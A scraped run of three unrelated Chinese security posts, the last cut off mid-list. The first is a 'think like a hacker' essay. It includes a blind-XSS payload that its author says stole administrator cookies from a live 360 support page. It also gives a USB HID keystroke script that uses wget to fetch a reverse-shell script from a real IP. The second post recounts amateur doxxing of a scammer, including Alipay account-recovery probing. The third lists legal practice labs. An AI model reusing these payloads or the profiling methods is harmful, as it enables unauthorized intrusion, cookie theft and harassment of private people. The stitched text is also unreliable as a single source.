&p&&b&作者 | 张祖优(Fooying)@云鼎实验室&/b&&br&&/p&&p&网络安全里经常说的一句话是未知攻焉知防,基本所有的安全人员也是一名黑客,在黑客攻击愈发普遍的今天,如何更好的防御黑客攻击?用句带有点哲学的话,成为黑客,只有成为黑客,像黑客一样思考,你才能知道从哪去防御黑客;很俗的一句话,但很实在!&/p&&p&看到了什么?&/p&&img src=&/50/v2-fbc98b204bd09c78fa634d9_b.jpg& data-rawwidth=&1076& data-rawheight=&416& class=&origin_image zh-lightbox-thumb& width=&1076& data-original=&/50/v2-fbc98b204bd09c78fa634d9_r.jpg&&&p&看到上图的第一直觉,你可以自己想下答案,问问自己看到了什么?&/p&&p&正常的思维,第一直观感受是中间那个很明显,很大的黑点,因为这个黑点最吸引大家的注意力,稍微看过一些哲学故事的同学可能会想到黑点周围白色的区域,是的,黑点只是其中一个小点,而黑点周围白色的部分则足够大;但是,我不知道有没有人的答案是白色再外面?文章区域再外面?或者整个浏览器?整个电脑屏幕?电脑外呢?其实想表达的也正是黑客的思维里,永远不是局限于可以看到的部分,而在于能够想到或者没想到的所有面。&/p&&p&其实这类同于攻击面!安全是木桶短板原理,木桶能装多少水不在于最长的那块板,而是最短的那块;而一个系统的安全程度不取决于安全做的多全,做的多高大上,而在于是否把那些最简单的问题处理掉?数据告诉我们,服务器入侵,除了漏洞之外最大途径是弱口令,而这就是一个根本没多少技术含量的方式,属于安全基线问题,就是同样的道理。对于黑客而言,攻击面不会局限于能够看到的点,而在于所有可能关联或者没关联的面,就比如渗透测试或者说APT,很多时候结合社工这个点能够取得很好的效果,成为一个绝佳的入侵渠道。所以,第一点,学会放开自己的思维与想象,发现和关注平时所容易忽略和没有看到的地方。&/p&&p&什么是黑客?&/p&&p&什么是黑客?我用八个字总结,突破创造,守正出奇。在我看来,黑客永远不是一个贬义词,黑客本身就是极客,对于黑客来说,这个世界充满好奇,这个世界有太多的东西可以探索,特别是网络的世界。&/p&&img src=&/50/v2-8f979b69b46d00d18d77a45beadf1ff8_b.png& data-rawwidth=&577& data-rawheight=&314& class=&origin_image zh-lightbox-thumb& width=&577& data-original=&/50/v2-8f979b69b46d00d18d77a45beadf1ff8_r.png&&&p&黑客是一个追求自由的群体,不喜欢受到条条框框的约束,总是喜欢突破这一切,突破同时也可能是一种创造,创造新的方法,新的方式,新的工具,新的东西,就比如上图,小学课本里的乌鸦喝水,在我们看来是一种很傻的行为,但未尝不是一种稳定传统的方式?在生活中很多的事不也正如此?或者说就网络上很多安全的措施有时候也是稳定起见,因为新的东西除了先进,有时候也会带来风险。而对于黑客来说,可能考虑的更不是这些,而是尝试,好奇一切。&/p&&p&对于黑客而言,也有自己的黑客精神,有自己要坚持和秉承的东西(地下黑客的原则可能不同于正常黑客),这就是守正,自由、共享、平等、互助;在Web安全的世界里,我们经常会提到一个词&猥琐&,或者说不仅限于Web安全,因为很多时候攻击的产生不是利用一个多厉害的漏洞,而在于猥琐的思路,几个定义为低危的小漏洞的组合也许威力比一个高危漏洞还大,这就取决于漏洞的组合使用,利用思路;这些&猥琐行为&就是一种出奇的表现。&/p&&p&了解黑客,成为黑客,才能更好的学会黑客的思考。&/p&&p&看到框就想X&/p&&img src=&/50/v2-ae22dee3741f2cbc7890a_b.png& data-rawwidth=&463& data-rawheight=&817& class=&origin_image zh-lightbox-thumb& width=&463& data-original=&/50/v2-ae22dee3741f2cbc7890a_r.png&&&p&这是一个意见反馈的界面,看到这样一个界面,大家会怎么做?对于普通人来说,这就是一个正常的意见提交框,用处就是提交反馈内容;大家想想黑客会怎么做?提交攻击代码,比如下面的代码:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&&/textarea&'&&&script src=http://t.cn/R63bUP9&&/script&
&/code&&/pre&&/div&&p&实际上,当时看到这样一个功能,我就这样做了。这是360手游客服中心手机版的一个页面,可以提交反馈意见,我当时就直接提交了上面的攻击代码,然后就攻击成功了(这其实是一次XSS盲打,什么是XSS盲打大家可以自行搜索或者看我之前发的文章)。由于这样的功能往往看反馈内容的都是系统的相关管理员,于是被攻击成功的也是管理员,通过XSS盲打可以直接拿到管理员登录的账号的Cookie等信息(下图就是盲打平台中收到的攻击成功返回的后台地址和管理员Cookie)。&/p&&img src=&/50/v2-7a3cd5c892b3d138c28c_b.png& data-rawwidth=&963& data-rawheight=&793& class=&origin_image zh-lightbox-thumb& width=&963& data-original=&/50/v2-7a3cd5c892b3d138c28c_r.png&&&p&当然,不仅限于这个页面,还有其他的:&/p&&img src=&/50/v2-0fa5d22f41a2b024eee6a2e3a5361409_b.png& data-rawwidth=&825& data-rawheight=&839& class=&origin_image zh-lightbox-thumb& width=&825& data-original=&/50/v2-0fa5d22f41a2b024eee6a2e3a5361409_r.png&&&p&这种行为总结而言,就是&看到框就想X&,这里的X也就是XSS的意思;其实这更多的是一种习惯和意识,在黑客的想法里,看到功能首先想到的不是使用,而是能不能利用,然后由于攻击做的多了,看到不同的功能和应用页面,自然就能意识到可能存在的问题,自然而然的就会去测试;经常会有很多人问,那些人在各种SRC提交的漏洞都是怎么挖的,是不是有神器?但是也不是每个人的安全测试工具都是神器啊!其实很多时候是在使用中发现漏洞!&/p&&p&不同的潜意识行为和想法,取决于不同的知识面和经验,也取决于不同的目的。&/p&&p&功能也是攻击方式&/p&&p&如果手机没电了,那么旁边如果其他人正好有电脑,借用其他人电脑的USB口给手机充电是一件很常见的事,但其实,只是插个数据线,也可以导致电脑被攻击,下面视频演示的是一部手机通过USB连接MAC电脑执行指定的命令(视频里是ifconfig)。&/p&&p&&a class=&video-box& href=&/?target=https%3A///x/page/q03959yfsxh.html& target=&_blank& data-video-id=&& data-video-playable=&& data-name=&手机物理攻击MAC预防演示-执行ifconfig命令_腾讯视频& data-poster=&/qqvideo_ori/0/q03959yfsxh_228_128/0& data-lens-id=&&&
&img class=&thumbnail& src=&/qqvideo_ori/0/q03959yfsxh_228_128/0&&&span class=&content&&
&span class=&title&&手机物理攻击MAC预防演示-执行ifconfig命令_腾讯视频&span class=&z-ico-extern-gray&&&/span&&span class=&z-ico-extern-blue&&&/span&&/span&
&span class=&url&&&span class=&z-ico-video&&&/span&/x/page/q03959yfsxh.html&/span&
&br&&/p&&p&视频里的手机是一个很普通的手机,安装了一个叫做&Nethunter&的黑客操作系统,也就成为&黑客手机&,里面集成了一些黑客攻击工具,比如视频里演示的工具叫做DuckHunter HID。看到这个视频,大家是否会觉得这个攻击挺高端的,物理黑客攻击,但当我告诉大家原理之后,大家可能想到的就是&原来如此,这么简单&。&/p&&p&手机上显示的代码是:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&CONTROL SPACE
STRING iterm
ENTERENTER
&/code&&/pre&&/div&&p&看完这个代码不知道大家是否已经明白了攻击原理,熟悉MAC操作的同学可能知道CONTROL+SPACE其实是调起Spotlight,一个类似快捷启动的工具,然后输入iterm,就是查找iTerm,然后回车,打开iTerm后,再输入ifconfig,再回车,就完成了整个命令输入执行的过程;大家可以发现,这其实就是一个模拟键盘操作的过程,没错,上面视频演示的攻击原理就是模拟键盘操作,其实这时候的手机用USB接入电脑相其实就是把自己设置为键盘接入电脑,然后再直接模拟键盘操作进行攻击。&/p&&p&那么是否可以进行危害更大的攻击?比如反弹Shell?当然可以,改下代码即可:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&CONTROL SPACE
STRING iterm
ENTERENTER
STRING wget http://45.32.8.108/b.pl.txt -O /tmp/b.plSTRING perl /tmp/b.pl
反弹监听IP 监听端口
&/code&&/pre&&/div&&p&采用下载一个Perl脚本来实现反弹Shell,如下面视频:&/p&&p&&a class=&video-box& href=&/?target=https%3A///x/page/fe.html& target=&_blank& data-video-id=&& data-video-playable=&& data-name=&手机物理攻击防范视频_腾讯视频& data-poster=&/qqvideo_ori/0/fe_228_128/0& data-lens-id=&&&
&img class=&thumbnail& src=&/qqvideo_ori/0/fe_228_128/0&&&span class=&content&&
&span class=&title&&手机物理攻击防范视频_腾讯视频&span class=&z-ico-extern-gray&&&/span&&span class=&z-ico-extern-blue&&&/span&&/span&
&span class=&url&&&span class=&z-ico-video&&&/span&/x/page/fe.html&/span&
&br&&/p&&p&讲这个例子的目的其实就是这部分的标题,功能也是攻击方式。在黑客的眼里,不是一定得使用漏洞,使用多高端的技巧,能达到攻击目的和效果的方式都是好的攻击方式,这些方式不局限于大家所了解的只是漏洞或者暴力破解等,而经常做的就是利用正常的功能来实现攻击,这种攻击因为使用的是正常的功能,有时候反而更隐蔽;而类似的攻击方式,不在少数。&/p&&h2&结语&/h2&&p&其实,近几年来,大家对黑客的了解已经越来越多,黑客也越来越失去神秘,然后大家就会发现,他们其实也是生活中的普通人;而在黑夜中工作,有时更多的是因为那时候安静,做事效率高,或者是管理员不在线好做一些秘密的攻击和测试等,而不是所谓各种描述里的戴着衣帽,把自己包裹在黑暗中,不露出自己的真面目等。&/p&&p&其实黑客所不同于普通人的点,除了掌握的知识外,就是做事和思考的方式,仅此而已!&/p&&p&&b&相关阅读:&/b&&/p&&p&&a href=&/?target=https%3A///community/article/FfromSource%3Dgwzcw..93244& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&CIA泄露资料分析(黑客工具&技术)—Windows篇&i class=&icon-external&&&/i&&/a&&a href=&/?target=https%3A///community/article/FfromSource%3Dgwzcw..93206& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&MySQL成勒索新目标,数据服务基线安全问题迫在眉睫&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=https%3A///community/article/FfromSource%3Dgwzcw.947.106947& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&跨站的艺术-XSS Fuzzing 的技巧&i class=&icon-external&&&/i&&/a&&/p&
作者 | 张祖优(Fooying)@云鼎实验室 网络安全里经常说的一句话是未知攻焉知防,基本所有的安全人员也是一名黑客,在黑客攻击愈发普遍的今天,如何更好的防御黑客攻击?用句带有点哲学的话,成为黑客,只有成为黑客,像黑客一样思考,你才能知道从哪去防御黑…
&img src=&/50/v2-85b79d98c1d08a397f85c71fd81875ef_b.jpg& data-rawwidth=&960& data-rawheight=&426& class=&origin_image zh-lightbox-thumb& width=&960& data-original=&/50/v2-85b79d98c1d08a397f85c71fd81875ef_r.jpg&&&p&&strong&存好心,说好话,行好事,结好缘,做好人,人有善念,天必佑之&/strong&&/p&&p&&strong&
网络小捕快&/strong&&/p&&p&&strong&0X01&/strong&&/p&&p&&strong&粉丝的闺蜜怀疑男朋友出轨了 出轨了 出轨了 重要的事情说三遍&/strong&&/p&&br&&p&&strong&0X02&/strong&&/p&&br&&p&&strong&然后粉丝的闺蜜找了个能查出生到死亡的所有信息的黑客 黑客 黑客 &/strong&&/p&&p&&strong&帮忙查男朋友有没有出轨&/strong&&/p&&br&&p&&strong& 0X03&/strong&&/p&&br&&p&&strong&结果很显然就是被骗了 被骗了 被骗了&/strong&&/p&&br&&p&&strong&0X04&/strong&&/p&&br&&p&&strong&然后粉丝找到了我让我帮忙社工一波 社工 社工 社工&/strong&&/p&&img src=&/50/v2-028d48bc2ff4c002f04e49c7ef2c7404_b.jpg& data-rawwidth=&366& data-rawheight=&561& class=&content_image& width=&366&&&p&&b&0x05&/b&&/p&&br&&p&&b&必须没不行啊
不能你说是骗子他就是骗子了 &/b&&/p&&p&&b&得要有证据啊&/b&&/p&&br&&p&&b&0X06&/b&&/p&&br&&p&&b&粉丝发了聊天记录来了&/b&&/p&&p&&img src=&/50/v2-f86daaabf8d_b.jpg& data-rawwidth=&563& data-rawheight=&828& class=&origin_image zh-lightbox-thumb& width=&563& data-original=&/50/v2-f86daaabf8d_r.jpg&&&img src=&/50/v2-3fff5a32adbf26a28e35ef_b.jpg& data-rawwidth=&552& data-rawheight=&901& class=&origin_image zh-lightbox-thumb& width=&552& data-original=&/50/v2-3fff5a32adbf26a28e35ef_r.jpg&&&b&钱钱就这么打过去了 200+50就是250的定金&/b&&br&&/p&&img src=&/50/v2-ec53baa1549156eccaa02f1f2cf46d4c_b.jpg& data-rawwidth=&550& data-rawheight=&761& class=&origin_image zh-lightbox-thumb& width=&550& data-original=&/50/v2-ec53baa1549156eccaa02f1f2cf46d4c_r.jpg&&&img src=&/50/v2-ccae9b9d3bd64d8e897c_b.jpg& data-rawwidth=&560& data-rawheight=&672& class=&origin_image zh-lightbox-thumb& width=&560& data-original=&/50/v2-ccae9b9d3bd64d8e897c_r.jpg&&&img src=&/50/v2-1daa5bf20e0d_b.jpg& data-rawwidth=&552& data-rawheight=&834& class=&origin_image zh-lightbox-thumb& width=&552& data-original=&/50/v2-1daa5bf20e0d_r.jpg&&&img src=&/50/v2-0ccfd5c8264fcab5c35e08a9c4e502ec_b.jpg& data-rawwidth=&558& data-rawheight=&837& class=&origin_image zh-lightbox-thumb& width=&558& data-original=&/50/v2-0ccfd5c8264fcab5c35e08a9c4e502ec_r.jpg&&&img src=&/50/v2-50f82e4f8dff8cc480fd8e_b.jpg& data-rawwidth=&557& data-rawheight=&841& class=&origin_image zh-lightbox-thumb& width=&557& data-original=&/50/v2-50f82e4f8dff8cc480fd8e_r.jpg&&&img src=&/50/v2-e36bb761c4a5eaa95b12afb4_b.jpg& data-rawwidth=&555& data-rawheight=&825& class=&origin_image zh-lightbox-thumb& width=&555& data-original=&/50/v2-e36bb761c4a5eaa95b12afb4_r.jpg&&&p&&b&0X07&/b&&/p&&br&&p&&b&骗子果然有两下子 吧妹子骗得一愣一愣的 &/b&&/p&&p&&b&东西没查到不说还威胁妹子&/b&&/p&&p&&b&不交最后两百块钱就告诉渣男你在查他&/b&&/p&&p&&b&既然这样我先整理一下我的发型
在社工他 社工 社工 社工&/b&&/p&&img src=&/50/v2-baa3abf6f74ee_b.jpg& data-rawwidth=&153& data-rawheight=&188& class=&content_image& width=&153&&&p&&b&0X08&/b&&/p&&br&&p&&b&社工开始吧
在粉丝的强烈要求下我就直播社工了
在QQ群直播的&/b&&/p&&p&&b&既然骗子这么厉害我们先看看他能做那些 &/b&&/p&&img src=&/50/v2-ae5bf645dfa1c113539cad_b.jpg& data-rawwidth=&640& data-rawheight=&156& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&/50/v2-ae5bf645dfa1c113539cad_r.jpg&&&img src=&/50/v2-f796e5cb8cfdec32a8d59a_b.jpg& data-rawwidth=&640& data-rawheight=&834& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&/50/v2-f796e5cb8cfdec32a8d59a_r.jpg&&&img src=&/50/v2-0e0dec1cedec6d0daca770_b.jpg& data-rawwidth=&800& data-rawheight=&425& class=&origin_image zh-lightbox-thumb& width=&800& data-original=&/50/v2-0e0dec1cedec6d0daca770_r.jpg&&&img src=&/50/v2-cffaca59b2992972afb8fc_b.jpg& data-rawwidth=&588& data-rawheight=&347& class=&origin_image zh-lightbox-thumb& width=&588& data-original=&/50/v2-cffaca59b2992972afb8fc_r.jpg&&&img src=&/50/v2-4e9de4354d_b.jpg& data-rawwidth=&800& data-rawheight=&394& class=&origin_image zh-lightbox-thumb& width=&800& data-original=&/50/v2-4e9de4354d_r.jpg&&&p&&b&厉害啊
只要给钱没有调查不到的事
估计FBI都不敢这么说吧&/b&&/p&&p&&b&既然你这么屌
那就社你了 &/b&&/p&&br&&p&&b&15*******960
已知 一个QQ号
用来行骗的 qq绑定了支付宝&/b&&/p&&p&&b&百度了一下&/b&&/p&&img src=&/50/v2-d7d540c729af7ef47ab94b3cb7f4bfa8_b.jpg& data-rawwidth=&299& data-rawheight=&207& class=&content_image& width=&299&&&p&&b&新疆的
有百度账号了 准备去查一下支付宝然后猜一猜真实姓名&/b&&/p&&p&&b&输入之后发现已经设置了不能通过邮箱找到他 &/b&&/p&&p&&b&那先加他qq聊聊吧
加他&/b&&/p&&p&&img src=&/50/v2-6adaffee5a393_b.jpg& data-rawwidth=&550& data-rawheight=&356& class=&origin_image zh-lightbox-thumb& width=&550& data-original=&/50/v2-6adaffee5a393_r.jpg&&&b&不对劲啊 加他三次都没同意
加了第四次之后他也没回复 每次加他填写内容是帮忙查人
不应该不加我
既然不加我 就继续
找找别的信息 正打算试试支付宝找回密码功能看看其他信息的时候他同意我了&/b&&br&&/p&&img src=&/50/v2-6dc751dea5e5fd0d0026ec_b.jpg& data-rawwidth=&581& data-rawheight=&542& class=&origin_image zh-lightbox-thumb& width=&581& data-original=&/50/v2-6dc751dea5e5fd0d0026ec_r.jpg&&&br&&p&&b&原来我直播社工他的时候群里出了奸细
跑去跟人家说我在社工他 他也进群看直播来了 一直在暗中观察啊
我说怎么就不加我 &/b&&br&&/p&&img src=&/50/v2-d363f7be85b7e5fa9eca0e_b.jpg& data-rawwidth=&244& data-rawheight=&220& class=&content_image& width=&244&&&p&&b&然而说完那些话我知道他在暗中观察的时候我也没打算关直播
&/b&&/p&&p&&b&经过细心搜索发现他腾讯微博&/b&&/p&&img src=&/50/v2-a81a7abf3d83a_b.jpg& data-rawwidth=&483& data-rawheight=&291& class=&origin_image zh-lightbox-thumb& width=&483& data-original=&/50/v2-a81a7abf3d83a_r.jpg&&&p&&b&就在这个时候骗子给我发了语音过来 我接了
给我说了一堆什么前面是没时间&/b&&/p&&p&&b&上面查东西的人没联系到什么的说了一堆
当时我没麦 然后就打字的 &img src=&/50/v2-b2dbc0dde8b8abd53ba35e156a7dede4_b.jpg& data-rawwidth=&332& data-rawheight=&267& class=&content_image& width=&332&&&/b&&/p&&p&&b&他也承认了前前后后骗了人家妹子500块钱钱&/b&&/p&&br&&p&&b&然后我让他把钱钱退还给妹子我可以原谅他 &/b&&/p&&p&&img src=&/50/v2-039663afacafa9_b.jpg& data-rawwidth=&534& data-rawheight=&245& class=&origin_image zh-lightbox-thumb& width=&534& data-original=&/50/v2-039663afacafa9_r.jpg&&&b&他也表示要退 看他迟迟没有行动我就继续开始社工了 &/b&&br&&/p&&img src=&/50/v2-944c2f73a7c3d0d65fe6f36e68ed2547_b.jpg& data-rawwidth=&490& data-rawheight=&407& class=&origin_image zh-lightbox-thumb& width=&490& data-original=&/50/v2-944c2f73a7c3d0d65fe6f36e68ed2547_r.jpg&&&p&&b&昊 名字两个字 而微博账户有是ZH
可以推断是他名字首字母&/b&&/p&&p&&b&就在这时候骗子有给我回话了&/b&&/p&&p&&img src=&/50/v2-264aa56a027b995d0f9c4c6be2d8e146_b.jpg& data-rawwidth=&554& data-rawheight=&331& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&/50/v2-264aa56a027b995d0f9c4c6be2d8e146_r.jpg&&&img src=&/50/v2-f6fd5ea6d43c818a05ba_b.jpg& data-rawwidth=&415& data-rawheight=&743& class=&content_image& width=&415&&&b&说完他立马去吧钱钱给退回去了&/b&&br&&/p&&img src=&/50/v2-26d87fafdaf066d602a96_b.jpg& data-rawwidth=&328& data-rawheight=&678& class=&content_image& width=&328&&&p&&b&跟粉丝确认退钱了&/b&&/p&&p&&b&然后就装了一B&/b&&/p&&img src=&/50/v2-5b031effe942f0dfbba045b_b.jpg& data-rawwidth=&407& data-rawheight=&344& class=&content_image& width=&407&&&p&&b&本来打算把他交给新疆网监的无奈没有认识的新疆警察叔叔
而且500块钱钱也不能立案
再说他还是个孩子 目测就是个17-22岁的孩子 &/b&&/p&&p&&b&所以就先放过他一马了 &/b&&/p&&br&&p&&b&PS:大家有被骗得可以去百度贴吧网络小捕快吧发帖举报 我会随机挑选 然后进行社工
发帖规则看上篇文章 或者看贴吧的线索举报格式&/b&&/p&&br&&p&&b&在PS:这次为什么打码
应为骗子承认错误了 而且钱钱也归还了 说以就不打算曝光了 &/b&&/p&&br&&p&&b&再再再pS:他给我发的语音我我找出来是arm格式 多次转换都是没法正常播放&/b&&/p&&p&&b&说以我就直接录音发上来给大家听听&/b&&/p&&br&&p&0:17&b&骗子的语言&/b&来自网络小捕快&/p&&p&&b&别忘了听一听骗子的语言&/b&&br&&/p&&p&&b&语言请到公众号听
微博发不上来&/b&&/p&&br&&p&&b&网络小捕快官方交流群 &/b&&/p&&p&&b&如果被骗了可以去百度贴吧 网络小捕快吧举报 &/b&&/p&
存好心,说好话,行好事,结好缘,做好人,人有善念,天必佑之 网络小捕快0X01粉丝的闺蜜怀疑男朋友出轨了 出轨了 出轨了 重要的事情说三遍 0X02 然后粉丝的闺蜜找了个能查出生到死亡的所有信息的黑客 黑客 黑客 帮忙查男朋友有没有出轨
0X03 结果很显然就…
&img src=&/50/v2-2e060ee4bbaa248cb6dd59_b.jpg& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&/50/v2-2e060ee4bbaa248cb6dd59_r.jpg&&&b&如果你被骗了&/b&&p&&b&可以联系我们 &/b&&/p&&p&&b&去我们的百度贴吧去举报&/b&&/p&&p&&b&贴吧地址 网络小捕快吧&/b&&/p&&p&&b&&a href=&/?target=http%3A///f%3Fkw%3D%25E7%25BD%%25BB%259C%25E5%25B0%258F%25E6%258D%%25BF%25AB%26fr%3Dhome& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&网络小捕快吧_百度贴吧&i class=&icon-external&&&/i&&/a&&br&&/b&&/p&&p&&b&举报格式都在贴吧写出来了 &/b&&/p&&p&&b&1:骗子你是从哪里认识的,怎么认识的 !&br&2:被骗记录 聊天记录 转账记录&br&3:对方qq或者交易账号&br&4;能补充说明就补充什么吧&br&&/b&&/p&&br&&p&&b&不按照格式直接发人家qq号说你被骗了那就只能把你拉黑了 到时候想举报都举报不了 &br&你不能以上来就说它是骗子 你得证明他是骗子 骗了你&br&怎么骗你的都要说清楚&br&&/b&&/p&&p&&b&你举报之后我们会随机挑选 然后进行社工&/b&&/p&&p&&b&必要的时候我们会帮你联系警察叔叔&/b&&/p&&p&&b&不管怎么样前提是你得先把受骗证据都保存好&/b&&/p&&p&&b&没有证据就不能举报 &/b&&/p&&p&&b&别的东西后面在补充吧
暂时还没想到啥东西&/b&&/p&&br&&br&&p&&b&只有一次举报机会
如果你乱写我们会将你永久拉黑&/b&&/p&&br&&p&&b&然后大家可以来关注一波我的微信公众号&/b&&/p&&p&&b&
喜欢社工 喜欢渗透的朋友可以加群 吃瓜群众也可以 &/b&&/p&&p&&b&网络小捕快官方交流群 &/b&&/p&
如果你被骗了可以联系我们 去我们的百度贴吧去举报贴吧地址 网络小捕快吧 举报格式都在贴吧写出来了 1:骗子你是从哪里认识的,怎么认识的 ! 2:被骗记录 聊天记录 转账记录 3:对方qq或者交易账号 4;能补充说明就补充什么吧
&img src=&/50/v2-1e28939daad8d573392cf_b.png& data-rawwidth=&628& data-rawheight=&324& class=&origin_image zh-lightbox-thumb& width=&628& data-original=&/50/v2-1e28939daad8d573392cf_r.png&&&p&直接推荐,因为有比较多,我也没办法把所有的都分享出来,大家可以在评论,私信,完善起来,分享才能进步。进攻即是最好的防御,这句话同样适用于信息安全的世界。合法的来练习黑客技术的网站,不管你是一名开发人员、安全工程师、代码审计师、渗透 测试人员,通过不断的练习才能让你成为一个优秀安全研究人员。希望对大家有帮助。收藏吧。点赞分享!&/p&&p&装装逼结束了 还是得学点东西。。发了几遍没有发出来。。。&/p&&p&去掉部分带攻击性的网站了 都是一些练手的了&/p&&p&&a href=&/?target=http%3A///ttarticle/p/show%3Fid%3D& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&花无涯带你走进黑客世界10 仿黑客网站 装逼网站&i class=&icon-external&&&/i&&/a&&br&&/p&&p&&a href=&/heike& class=&internal&&花无涯带你走进黑客世界 ——知乎专栏&/a&&br&&/p&&p&&a href=&/?target=https%3A///& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&学习黑客的第一本书 网络黑白&i class=&icon-external&&&/i&&/a&&br&&/p&&h2&bWAPP&/h2&&p&免费和开源的web应用程序安全项目。它有助于安全爱好者及研究人员发现和防止web漏洞,buggy web Application 这是一个集成了各种常见漏洞和最新漏洞的开源Web应用程序,目的是帮助网络安全爱好者、开发人员和学生发现并防止网络漏洞。包含了超过100种漏洞,涵盖了所有主要的已知Web漏洞,包括OWASP Top10安全风险,最重要的是已经包含了OpenSSL和ShellShock漏洞。&/p&&p&bwapp可以单独下载,然后部署到apache+php+mysql的环境,也可以下载他的虚拟机版本bee-box,但是有好多漏洞是bee-box里边有,但单独安装bwapp没有的,比如破壳漏洞,心脏滴血漏洞等。我这里主要用bee-box进行介绍。&/p&&p&下载地址: &br&&/p&&p&&a href=&/?target=http%3A//sourceforge.net/projects/bwapp/files/bee-box/& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&sourceforge.net/project&/span&&span class=&invisible&&s/bwapp/files/bee-box/&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&下载后解压用vmware打开,访问80端口,bwapp默认账号密码&/p&&p&具体的演示和操作方式就不具体的说了哈,有工具了 自己总要学会使用!&/p&&h2&Game of Hacks&/h2&&p&&a href=&/?target=http%3A///& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Game of Hacks&i class=&icon-external&&&/i&&/a&&/p&&p&基于游戏的方式来测试你的安全技术,每个任务题目提供了大量的代码,其中可能有也可能没有安全漏洞!&/p&&h2&GoogleGruyere&/h2&&p&一个看起来很low的网址,但充满了漏洞,目的是为了帮助那些刚开始学习应用程序安全性的人员。&/p&&p&官方地址: &a href=&/?target=http%3A//google-/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&http://google-&i class=&icon-external&&&/i&&/a&&/p&&p&可以直接在线答题 也可以下载代码在本地搭建&/p&&p&代码地址: &a href=&/?target=http%3A///code/& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&/c&/span&&span class=&invisible&&ode/&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&本地搭建时注意只能用 python2.5 其他高版本的不行&/p&&p&官方指导教程:&/p&&p&&a href=&/?target=http%3A//google-/part1& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&google-&/span&&span class=&invisible&&/part1&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=http%3A//google-/part2& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&google-&/span&&span class=&invisible&&/part2&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=http%3A//google-/part3& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&google-&/span&&span class=&invisible&&/part3&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=http%3A//google-/part4& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&google-&/span&&span class=&invisible&&/part4&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&&a href=&/?target=http%3A//google-/part5& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&google-&/span&&span class=&invisible&&/part5&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&&strong&HackThis!!&/strong&&/p&&p&旨在教你如何破解、转储和涂改,以及保护网站的黑客技巧,提供超过50种不同的难度水平。&/p&&p&&a href=&/?target=https%3A//www.hackthis.co.uk/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&HackThis!! - The Hackers Playground&i class=&icon-external&&&/i&&/a&&/p&&p&&strong&Hack This Site&/strong&&/p&&p&是一个合法和安全的测试黑客技能的网站,并包含黑客资讯、文章、论坛和教程,旨在帮助你学习黑客技术。&/p&&p&&a href=&/?target=http%3A//www.hackthissite.org/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Hack This Site&i class=&icon-external&&&/i&&/a&&br&&/p&&p&(推荐使用Firefox浏览器)&/p&&p&第一关很简单,直接察看源代码,就可以看到密码直接写在注释里&/p&&p&第二关, 直接按submit就可以过关了&/p&&p&第三关, 密码的文件名写在代码里了&/p&&p&后面的就自己过了,都是非常简单 又基础的 没有那么枯燥&/p&&p&&strong&Mutillidae&/strong&&/p&&p&mutillidaemutillidae是一个免费,开源的Web应用程序,提供专门被允许的安全测试和入侵的Web应用程序。其中包含了丰富的渗透测试项目,如SQL注入、跨站脚本、clickjacking、本地文件包含、远程代码执行等,渗透测试演练系统,前面的多个章节也有发布过,这里就顺便在添加一些常用的,大家没事的就多翻一下专栏,有些文章底部有工具的提供。&/p&&p&DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。&/p&&p&链接地址:&a href=&/?target=http%3A//www.dvwa.co.uk/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Damn Vulnerable Web Application&i class=&icon-external&&&/i&&/a&&/p&&p&mutillidaemutillidae是一个免费,开源的Web应用程序,提供专门被允许的安全测试和入侵的Web应用程序。它是由Adrian “Irongeek” Crenshaw和Jeremy “webpwnized” Druin.开发的一款自由和开放源码的Web应用程序。其中包含了丰富的渗透测试项目,如SQL注入、跨站脚本、clickjacking、本地文件包含、远程代码执行等.&/p&&p&链接地址:&a href=&/?target=http%3A//sourceforge.net/projects/mutillidae& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&http://sourceforge.net/projects/mutillidae &i class=&icon-external&&&/i&&/a&&br&&/p&&p&SQLolSQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句。此程序在Austin黑客会议上由Spider Labs发布。&br&&/p&&p&链接地址:&a 